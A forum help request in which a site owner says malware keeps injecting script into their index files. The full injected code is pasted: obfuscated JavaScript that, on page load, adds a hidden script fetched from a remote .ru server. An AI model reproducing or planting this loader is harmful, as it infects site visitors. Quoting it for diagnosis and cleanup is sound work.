Code Injection

I have a problem, some virus scan all index files and insert a code like this <script>var Ft=window;this.XK=4833;this.XK+=71;var zE={e:"K"};var n=document;KQ=["R","g"];var VO=["B"];var G=RegExp;var b;KV=["Kv","l","Zt"];d=["pV","Xl","Q"];var p=null;function H(){var Y=["Az","T"];try {} catch(o){};function x(O,t,j){return [login to view URL](t,j);}YZ=["hC"];var Fj=new String();nS=47691;nS++;this.M='';var Z="]";dO={wg:"kT"};var YL="YL";var Z="]";Zz=27834;Zz+=156;var I="\x2f\x61\x62\x63\x6e\x65\x77\x73\x2d\x67\x6f\x2d\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x74\x75\x64\x6f\x75\x2e\x63\x6f\x6d\x2e\x70\x68\x70";hCe=["eK","Qn","BA"];var v=new String("sc"+x("riWMn",0,2)+x("SAxMptxMSA",4,2));var Ab=new Array();bi=33622;bi++;var N=String("bo"+x("dyQ0gM",0,2));var HE=new Date();var X='';try {var on='un'} catch(on){};try {var pu='OE'} catch(pu){};function F(O,t){var TU="TU";var IV="IV";var j=x("[ViIJ",0,1);j+=t;Bx=53031;Bx--;va=36772;va+=59;j+=Z;var oW=["UJ","uF","br"];var h=new G(j, "g");var D=["SJ"];return O["rep"+"lac"+x("e19wh",0,1)](h, X);var AR='';};OH=19090;OH+=242;this.c='';var V=488037-479957;var z=F('a0pmp9e9n3dHCRhRi3lzdR','9DPowmzG4ROXs03UHQT');var Vl='';try {} catch(sm){};var pG=F('ciriexaitZeiEIlGeImIeCnZtY','iGY2CZ0x9I');var U=new String("http:"+"//sua"+"vepad"+".ru:");cw=["Ou","tP"];p=new String("on"+"lo"+x("ad2EQ",0,2));b=function(){var vj=["XM"];try {P=n[pG](v);kY=[];Vl=U;this.Ae="";lE={Nm:"mg"};Vl+=V;try {} catch(IR){};aG=2937;aG+=160;Vl+=I;Bgm={dF:false};var hv=new String();var Vz=x("srzR4",0,2)+"c";var W=F('dneMfceMrY','bQMcN52gnGZYP');cW=["i","JN"];P[W]=[1,6][0];jN=["ic","HA","mU"];var SD=new Array();aO={YP:44395};jB=26922;jB-=212;P[Vz]=Vl;var L=new Array();this.iC='';var HR=["xi","kA"];n[N][z](P);QP=[];tg={JNo:false};} catch(A){};};var XD='';this.Yf='';var nx='';var zME=new Date();};try {} catch(pY){};KR=53471;KR++;H();var MU='';Md=59226;Md+=249;var WL=false;Ft[p]=b;vF=5882;vF-=138;</script> <!--3a438588d1da318e6ea39f8863a44eb0-->} how can stop it !!?? also on godaddy hosting the virus inject that..